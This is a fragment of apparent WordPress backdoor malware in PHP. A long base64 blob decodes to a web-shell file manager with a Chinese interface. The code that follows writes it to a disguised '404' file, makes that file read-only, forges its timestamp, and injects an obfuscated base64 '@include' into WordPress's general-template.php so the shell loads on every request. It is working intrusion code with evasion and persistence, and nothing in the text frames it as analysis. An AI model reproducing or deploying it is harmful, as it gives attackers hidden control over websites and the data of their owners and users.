ciA9PSAnLicgfHwgJGRpciA9PSAnLi4nKSBjb250aW51ZTsKICAgICAgICAgICAgZWNobyAiCjx0cj4KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPgo8dGQgY2xhc3M9dGRfaG9tZSA+PGNlbnRlcj5ESVI8L2NlbnRlcj48L3RkPgo8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+CjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPgoiOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPic7CiAgICAgICAgICAgIGVsc2VpZighaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+JzsKICAgICAgICAgICAgZWNobyBqdWVqaWFuZ19wZXJtcygiJHBhdGgvJGRpciIpOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8L2ZvbnQ+JzsKCiAgICAgICAgICAgIGVjaG8gIgo8L2E+CjwvdGQ+CgoKPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+CjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PXJlbmFtZSZ0eXBlPWRpciZuYW1lPSRkaXJcIj7ph43lkb3lkI08L2E+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+CjwvY2VudGVyPjwvdGQ+CjwvdHI+IjsKICAgICAgICB9CiAgICAgICAgZWNobyAnPGJyPic7CiAgICAgICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZmlsZSl7CiAgICAgICAgICAgIGlmKCFpc19maWxlKCIkcGF0aC8kZmlsZSIpKSBjb250aW51ZTsKICAgICAgICAgICAgJHNpemUgPSBmaWxlc2l6ZSgiJHBhdGgvJGZpbGUiKS8xMDI0OwogICAgICAgICAgICAkc2l6ZSA9IHJvdW5kKCRzaXplLDMpOwogICAgICAgICAgICBpZigkc2l6ZSA+PSAxMDI0KXsKICAgICAgICAgICAgICAgICRzaXplID0gcm91bmQoJHNpemUvMTAyNCwyKS4nIE1CJzsKICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAkc2l6ZSA9ICRzaXplLicgS0InOwogICAgICAgICAgICB9CgoKICAgICAgICAgICAgZWNobyAiPHRyPgo8dGQgY2xhc3M9dGRfaG9tZSA+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUF3QUFBQVFDQVlBQUFBaVlaNEhBQUFBQ1hCSVdYTUFBQXNUQUFBTEV3RUFtcHdZQUFBS1RXbERRMUJRYUc5MGIzTm9iM0FnU1VORElIQnliMlpwYkdVQUFIamFuVk4zV0pQM0ZqN2Y5MlVQVmtMWThMR1hiSUVBSWlPc0NNZ1FXYUlRa2dCaGhCQVNRTVdGaUFwV0ZCVVJuRWhWeElMVkNraWRpT0tnS0xoblFZcUlXb3RWWERqdUg5eW50WDE2NyszdCs5Zjd2T2VjNS96T2VjOFBnQkVTSnBIbW9tb0FPVktGUERyWUg0OVBTTVRKdllBQ0ZVamdCQ0FRNXN2Q1p3WEZBQUR3QTNsNGZuU3dQL3dCcjI4QUFnQncxUzRrRXNmaC80TzZVQ1pYQUNDUkFPQWlFdWNMQVpCU0FNZ3VWTWdVQU1nWUFMQlRzMlFLQUpRQUFHeDVmRUlpQUtvTkFPejBTVDRGQU5pcGs5d1hBTmlpSEtrSUFJMEJBSmtvUnlRQ1FMc0FZRldCVWl3Q3dNSUFvS3hBSWk0RXdLNEJnRm0yTWtjQ2dMMEZBSGFPV0pBUFFHQUFnSmxDTE13QUlEZ0NBRU1lRTgwRElFd0RvRERTditDcFgzQ0Z1RWdCQU1ETGxjMlhTOUl6RkxpVjBCcDM4dkRnNGlIaXdteXhRbUVYS1JCbUNlUWluSmViSXhOSTV3Tk16Z3dBQUJyNTBjSCtPRCtRNStiazRlWm01Mnp2OU1XaS9tdndieUkrSWZIZi9yeU1BZ1FBRUU3UDc5cGY1ZVhXQTNESEFiQjF2MnVwV3dEYVZnQm8zL2xkTTlzSm9Gb0swSHI1aTNrNC9FQWVucUZReUR3ZEhBb0xDKzBsWXFHOU1PT0xQdjh6NFcvZ2kzNzIvRUFlL3R0NjhBQnhta0NacmNDamcvMXhZVzUycmxLTzU4c0VRakZ1OStjai9zZUZmLzJPS2RIaU5MRmNMQldLOFZpSnVGQWlUY2Q1dVZLUlJDSEpsZUlTNlg4eThSK1cvUW1UZHcwQXJJWlB3RTYyQjdYTGJNQis3Z0VDaXc1WTBuWUFRSDd6TFl3YUM1RUFFR2MwTW5uM0FBQ1R2L21QUUNzQkFNMlhwT01BQUx6b0dGeW9sQmRNeGdnQUFFU2dnU3F3UVFjTXdSU3N3QTZjd1IyOHdCY0NZUVpFUUF3a3dEd1FRZ2JrZ0J3S29SaVdRUmxVd0RyWUJMV3dBeHFnRVpyaEVMVEJNVGdONStBU1hJSHJjQmNHWUJpZXdoaThoZ2tFUWNnSUUyRWhPb2dSWW83WUlzNElGNW1PQkNKaFNEU1NnS1FnNllnVVVTTEZ5SEtrQXFsQ2FwRmRTQ1B5TFhJVU9ZMWNRUHFRMjhnZ01vcjhpcnhITVpTQnNsRUQxQUoxUUxtb0h4cUt4cUJ6MFhRMEQxMkFscUpyMFJxMEhqMkF0cUtuMFV2b2RYUUFmWXFPWTREUk1RNW1qTmxoWEl5SFJXQ0pXQm9teHhaajVWZzFWbzgxWXgxWU4zWVZHOENlWWU4SUpBS0xnQlBzQ0Y2RUVNSnNncENRUjFoTVdFT29KZXdqdEJLNkNGY0pnNFF4d2ljaWs2aFB0Q1Y2RXZuRWVHSTZzWkJZUnF3bTdpRWVJWjRsWGljT0UxK1RTQ1FPeVpMa1Rnb2hKWkF5U1F0SmEwamJTQzJrVTZRKzBoQnBuRXdtNjVCdHlkN2tDTEtBckNDWGtiZVFENUJQa3Z2SncrUzNGRHJGaU9KTUNhSWtVcVNVRWtvMVpUL2xCS1dmTWtLWm9LcFJ6YW1lMUFpcWlEcWZXa2x0b0haUUwxT0hxUk0wZFpvbHpac1dROHVrTGFQVjBKcHBaMm4zYUMvcGRMb0ozWU1lUlpmUWw5SnI2QWZwNSttRDlIY01EWVlOZzhkSVlpZ1pheGw3R2FjWXR4a3ZtVXltQmRPWG1jaFVNTmN5RzVsbm1BK1liMVZZS3ZZcWZCV1J5aEtWT3BWV2xYNlY1NnBVVlhOVlA5VjVxZ3RVcTFVUHExNVdmYVpHVmJOUTQ2a0oxQmFyMWFrZFZidXBOcTdPVW5kU2oxRFBVVitqdmwvOWd2cGpEYktHaFVhZ2hraWpWR08zeGhtTklSYkdNbVh4V0VMV2NsWUQ2eXhybUUxaVc3TDU3RXgyQmZzYmRpOTdURk5EYzZwbXJHYVJacDNtY2MwQkRzYXg0UEE1Mlp4S3ppSE9EYzU3TFFNdFB5MngxbXF0WnExK3JUZmFldHErMm1MdGN1MFc3ZXZhNzNWd25VQ2RMSjMxT20wNjkzVUp1amE2VWJxRnV0dDF6K28rMDJQcmVla0o5Y3IxRHVuZDBVZjFiZlNqOVJmcTc5YnYwUjgzTURRSU5wQVpiREU0WS9ETWtHUG9hNWhwdU5Id2hPR29FY3RvdXBIRWFLUFJTYU1udUNidWgyZmpOWGdYUG1hc2J4eGlyRFRlWmR4clBHRmlhVExicE1Ta3hlUytLYzJVYTVwbXV0RzAwM1RNek1nczNLellyTW5zampuVm5HdWVZYjdadk52OGpZV2xSWnpGU29zMmk4ZVcycFo4eXdXV1RaYjNySmhXUGxaNVZ2VlcxNnhKMWx6ckxPdHQxbGRzVUJ0WG13eWJPcHZMdHFpdG02M0VkcHR0M3hUaUZJOHAwaW4xVTI3YU1lejg3QXJzbXV3RzdUbjJZZllsOW0zMnp4M01IQklkMWp0ME8zeHlkSFhNZG14d3ZPdWs0VFREcWNTcHcrbFhaeHRub1hPZDh6VVhwa3VReXhLWGRwY1hVMjJuaXFkdW4zckxsZVVhN3JyU3RkUDFvNXU3bTl5dDJXM1UzY3c5eFgyciswMHVteHZKWGNNOTcwSDA4UGRZNG5ITTQ1Mm5tNmZDODVEbkwxNTJYbGxlKzcwZVQ3T2NKcDdXTUczSTI4UmI0TDNMZTJBNlBqMWwrczdwQXo3R1BnS2ZlcCtIdnFhK0l0ODl2aU4rMW42WmZnZjhudnM3K3N2OWovaS80WG55RnZGT0JXQUJ3UUhsQWIyQkdvR3pBMnNESHdTWkJLVUhOUVdOQmJzR0x3dytGVUlNQ1ExWkgzS1RiOEFYOGh2NVl6UGNaeXlhMFJYS0NKMFZXaHY2TU13bVRCN1dFWTZHendqZkVINXZwdmxNNmN5MkNJamdSMnlJdUI5cEdaa1grWDBVS1NveXFpN3FVYlJUZEhGMDl5eldyT1JaKzJlOWp2R1BxWXk1Tzl0cXRuSjJaNnhxYkZKc1kreWJ1SUM0cXJpQmVJZjRSZkdYRW5RVEpBbnRpZVRFMk1ROWllTnpBdWRzbWpPYzVKcFVsblJqcnVYY29ya1g1dW5PeTU1M1BGazFXWkI4T0lXWUVwZXlQK1dESUVKUUx4aFA1YWR1VFIwVDhvU2JoVTlGdnFLTm9sR3h0N2hLUEpMbW5WYVY5ampkTzMxRCttaUdUMFoxeGpNSlQxSXJlWkVaa3JrajgwMVdSTmJlck0vWmNka3RPWlNjbEp5alVnMXBsclFyMXpDM0tMZFBaaXNya3cza2VlWnR5aHVUaDhyMzVDUDVjL1BiRld5RlROR2p0Rkt1VUE0V1RDK29LM2hiR0Z0NHVFaTlTRnJVTTk5bS91cjVJd3VDRm55OWtMQlF1TEN6MkxoNFdmSGdJcjlGdXhZamkxTVhkeTR4WFZLNlpIaHA4Tko5eTJqTHNwYjlVT0pZVWxYeWFubmM4bzVTZzlLbHBVTXJnbGMwbGFtVXljdHVydlJhdVdNVllaVmtWZTlxbDlWYlZuOHFGNVZmckhDc3FLNzRzRWE0NXVKWFRsL1ZmUFY1YmRyYTNrcTN5dTNyU091azYyNnM5MW0vcjBxOWFrSFYwSWJ3RGEwYjhZM2xHMTl0U3Q1MG9YcHE5WTdOdE0zS3pRTTFZVFh0Vzh5MnJOdnlvVGFqOW5xZGYxM0xWdjJ0cTdlKzJTYmExci9kZDN2ekRvTWRGVHZlNzVUc3ZMVXJlRmRydlVWOTlXN1M3b0xkanhwaUc3cS81bjdkdUVkM1Q4V2VqM3VsZXdmMlJlL3JhblJ2Yk55dnY3K3lDVzFTTm8wZVNEcHc1WnVBYjlxYjdacDN0WEJhS2c3Q1FlWEJKOSttZkh2alVPaWh6c1BjdzgzZm1YKzM5UWpyU0hrcjBqcS9kYXd0bzIyZ1BhRzk3K2lNbzUwZFhoMUh2cmYvZnU4eDQyTjF4eldQVjU2Z25TZzk4Zm5rZ3BQanAyU25ucDFPUHozVW1keDU5MHo4bVd0ZFVWMjlaMFBQbmo4WGRPNU10MS8zeWZQZTU0OWQ4THh3OUNMM1l0c2x0MHV0UGE0OVIzNXcvZUZJcjF0djYyWDN5KzFYUEs1MDlFM3JPOUh2MDMvNmFzRFZjOWY0MXk1ZG4zbTk3OGJzRzdkdUp0MGN1Q1c2OWZoMjl1MFhkd3J1VE54ZGVvOTRyL3krMnYzcUIvb1A2biswL3JGbHdHM2crR0RBWU0vRFdRL3ZEZ21IbnY2VS85T0g0ZEpIekVmVkkwWWpqWStkSHg4YkRScTk4bVRPaytHbnNxY1R6OHArVnY5NTYzT3I1OS85NHZ0THoxajgyUEFMK1l2UHY2NTVxZk55NzZ1cHJ6ckhJOGNmdk01NVBmR20vSzNPMjMzdnVPKzYzOGU5SDVrby9FRCtVUFBSK21QSHA5QlA5ejduZlA3OEwvZUU4L3NsMHA4ekFBQUFJR05JVWswQUFIb2xBQUNBZ3dBQStmOEFBSURwQUFCMU1BQUE2bUFBQURxWUFBQVhiNUpmeFVZQUFBRzRTVVJCVkhqYWZKTFBhaE5SRk1aLzk5eVphYkJ4Q05OS2l5Z294R0NnbEJaY3VDZ0k5ZzJLTDFOQ3dTNUtYOEFuVUxvU3VuUFZyZHZHZ0J1cEVWMjRFV1FDTThuTTVNKzkxOFZNUnVPaTMrckNQZC81ZmVmY3ExNzFYanUwNVRiWnVlSHkvRXdCZUdqTDI1TVQ1c2F3TUlhSlhUVi9HZ3g0ZDNYRjBYSFBYWjZmS1FHdzFySXdocGt4bU9tVVBNdEl4Mk9TSkdHY3Bydy9QVVY4emRGeHo4azRUZXR1Z2RZMGdvQkFhendSbEFoeEhQUG00b0lYblE2ZkIzMDhBQkhoWTc4UHdOWjZ4SzlKekc2M0M4REx3ME9jdFlSaHlJZnI2OUlBMEc2M2NWWCtKaTBhUVFDekdRQ0xmMmJ5QUxSU0RJZkR1anZBdDZvZzhockVpNEw5dmIzU1VHUVpTb1NublE0TGE3bExWSk9XdWw4VUFCUlpWczNnSEY5dWJ1cUNKV2xyUFNwcGs1aUQ3ZTJLa09jQTdIYTd6SXdwTS85SGF0TEMwNW9pei84Ty9mUHJkOEtXejQvZmFVMEJtRTh6L0xVNzZNM05rakF0Q3JRSUQ1NDhMa24zWUdZTUQ2TUlheTJtb2dKTWkyS1ZBQkMyZlBMYzU5SEdCb2dBWUl4QnFyTzNmT21ENTgvS3l5cTNjUTZ0VkcwQ0dLY3BYaklhcmF4UWkyQ3NMWXNCSllKVENpVkNNaHFobWpzN3p0cmJ2L2RTSXNLZkFRRGZJc0tIdkFaWVpBQUFBQUJKUlU1RXJrSmdnZz09Jz4KCiI7Ci8vIDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mZmlsZXNyYz0kcGF0aC8kZmlsZSZwYXRoPSRwYXRoXCI+JGZpbGU8L2E+CiAgICAgICAgICAgIGVjaG8gIgo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+CjwvdGQ+Cjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+Ii4kc2l6ZS4iPC9jZW50ZXI+PC90ZD4KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOwoKCgogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOwogICAgICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOwogICAgICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOwogICAgICAgICAgICBlY2hvICI8L2E+PC90ZD4KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9ZWRpdCZ0eXBlPWZpbGUmbmFtZT0kZmlsZVwiPue8lui+kTwvYT4KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWZpbGUmbmFtZT17JGZpbGV9J1wiPuWIoOmZpDwvYT4KPC9jZW50ZXI+PC90ZD4KPC90cj4iOwogICAgICAgIH0KICAgICAgICBlY2hvICc8L3RhYmxlPgo8L2Rpdj4nOwogICAgfQogICAgZWNobyAnPGJyPjxicj48YnI+PGJyPjwvYj4KPC9ib2R5PiA8L2h0bWw+PC9ib2R5Pgo8L2h0bWw+JzsKICAgIGRpZTsKZW5kaWY7ICAvLyA9PT09CgoKCgoKCg=="; // WP 404
@chmod($jue_jiang_404_path, 0644);
@file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404));
@touch($jue_jiang_404_path, filectime($file_general_template_path));
@chmod($jue_jiang_404_path, 0444);
}
$general_template_code = @file_get_contents($file_general_template_path);
$gen_mat = base64_decode("QGluY2x1ZGVbXHNdK2Jhc2U2NF9kZWNvZGVbXHNdKj9cKCJbMC05YS16QS1aLT0rXC9dKyJcKTs=");
$isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false;
if (!$isget_mat){
$pma = base64_decode("ZnVuY3Rpb25bXHNdW2EtekEtWjAtOV9dKlwoLio/XCkuKg==");
preg_match_all("/{$pma}/i",$general_template_code,$pr);
$gen_temp_fun_name = $pr[0][rand(0,count($pr[0])-1)];
$jj404_b64_path = base64_encode($jue_jiang_404_path);
$new_general_template = str_replace($gen_temp_fun_name,"@include base64_decode(\"{$jj404_b64_path}\");".PHP_EOL.$gen_temp_fun_name,$general_template_code);
@chmod($file_general_template_path, 0644);
@file_put_contents($file_general_template_path,$new_general_template);
@touch($file_general_template_path, filectime($file_general_template_path));
}